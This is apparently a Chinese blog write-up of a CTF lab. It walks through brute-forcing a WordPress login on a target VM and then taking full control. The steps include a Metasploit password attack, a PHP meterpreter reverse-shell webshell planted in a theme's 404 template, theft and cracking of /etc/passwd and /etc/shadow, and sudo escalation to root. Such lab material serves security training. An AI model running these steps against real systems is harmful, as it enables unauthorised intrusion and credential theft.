ctf训练 web安全暴力破解

ctf训练 web安全暴力破解

暴力破解漏洞介绍

穷举法的基本思想是根据题目的部分条件确定答案的大致范围,并在此范围内对所有可能的情况逐一验证,直到全部情况验证完毕。若某个情况验证符合题目的全部条件,则为本问题的一个解;若全部情况验证后都不符合题目的全部条件,则本题无解。穷举法也称为枚举法。

Web安全中的暴力破解也是利用尝试所有的可能性最终获取正确的结果。

实验环境

一台kail攻击机 和 靶机
靶机镜像:https://pan.baidu.com/s/1jitlWbjJHfyzfvPEBVDhUw
提取码:x8cc

安装打开靶机(使用Oracle VM VirtualBox打开):
(注意:靶机用桥接模式则攻击机也用桥接模式,注意检查!!!!)

接下来发现没法登陆,也没有办法获取ip地址
所以我们在kail下
进入控制台

使用netdiscover命令 netdiscover -r ip/子网掩码 命令来探测靶机,靶机ip为192.168.43.46
在这里插入图片描述本机ip为192.168.43.96
在这里插入图片描述

信息探测

扫描主机服务信息以及服务版本
– nmap -sV靶场IP地址
在这里插入图片描述

快速扫描主机全部信息
– nmap -T4 -A -v靶场IP地址

在这里插入图片描述

探测敏感信息
– nikto -host http://靶场lP地址:端口
在这里插入图片描述
深入挖掘

分析nmap .nikto扫描结果,并对结果进行分析,挖掘可以利用的信息;

在这里发现可疑目录/secret/
在这里插入图片描述

使用浏览器打开http:/ /ip:port/敏感页面,查看敏感信息,找到可利用的位置;

这里http默认端口号为80,所以端口号可以省略不加
在这里插入图片描述发现一个login,于是点击
在这里插入图片描述发现了一个登录界面,所以我们就想着找用户名和密码
在这里插入图片描述
暴力破解

首先使用wpscan对用户名进行枚举
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
使用上面得到的信息,查看用户名
在这里插入图片描述
得到用户名为admin

接下来启动Metasploit -> msfconsole

选择模块
msf > use auxiliary/scanner/http/wordpress_login_enum
在这里插入图片描述show options 查看参数
在这里插入图片描述
设置我们已知的用户名

msf auxiliary(wordpress_login_enum) > set username admin
在这里插入图片描述

设置密码文件

msf auxiliary(wordpress_login_enum) > set pass_file /usr/share/wordlists/dirb/common.txt
在这里插入图片描述

设置目标url
msf auxiliary(wordpress_login_enum) > set targeturi secret/
在这里插入图片描述设置目标ip

msf auxiliary(wordpress_login_enum) > set rhosts 靶机ip
在这里插入图片描述
运行,开始破解

msf auxiliary(wordpress_login_enum) > run
在这里插入图片描述
破解成功,得到密码也是admin

使用破解好的密码登录系统

在这里插入图片描述进入后台
在这里插入图片描述
上传webshell获取控制权

制作webshell
使用msfvenom制作shell代码,将代码复制下来
在这里插入图片描述

wordpress后台寻找上传点
appearance的editor,然后再点击右侧的404 Template,将代码替换为shell代码

在这里插入图片描述

退出当前模块
back

使用监听模块
use exploit/multi/handler

设置为php模式
set payload php/meterpreter/reverse_tcp

查看参数
show options

设置kali的ip
set LHOST 本机ip

开始监听
run

执行shell,获取反弹shell。

http: //靶场IP/secret/wp-content /themes/twentysevernteen /404.php
在这里插入图片描述在这里插入图片描述

查看系统信息 sysinfo

查看用户权限id

在这里插入图片描述
root权限

– Metasploit中利用返回shell 下载
download /etc/passwd
download /etc/shaclow
在这里插入图片描述

–将文件转换为join可以识别的文件格式

unshadow passwd shadow > cracked

– 使用john破解密码
john cracked
得到用户名marlinspike和密码marlinspike
在这里插入图片描述优化终端
python -c “import pty;pty.spawn(’/bin/bash’)”
在这里插入图片描述在这里插入图片描述

切换到marlinspike用户
su - marlinspike

查看权限
sudo -l

提权
sudo bash

在这里插入图片描述
获取Flag

一般情况下,靶场机器的flag值是存放在服务器的根目录下,/root/目录。

cd /root/
ls
cat flag

在这里插入图片描述
这个靶机下没有flag值,结束!!!

总结

提权时可以抓取/etc/passwd和/etc/shadow,之后使用join来破解对应的密码,然后使用对应的用户名密码提升root权限;

对于wp的渗透中,启动对应的主题,然后在404页面上传shell ;

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

爱吃香菜的哈哈

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值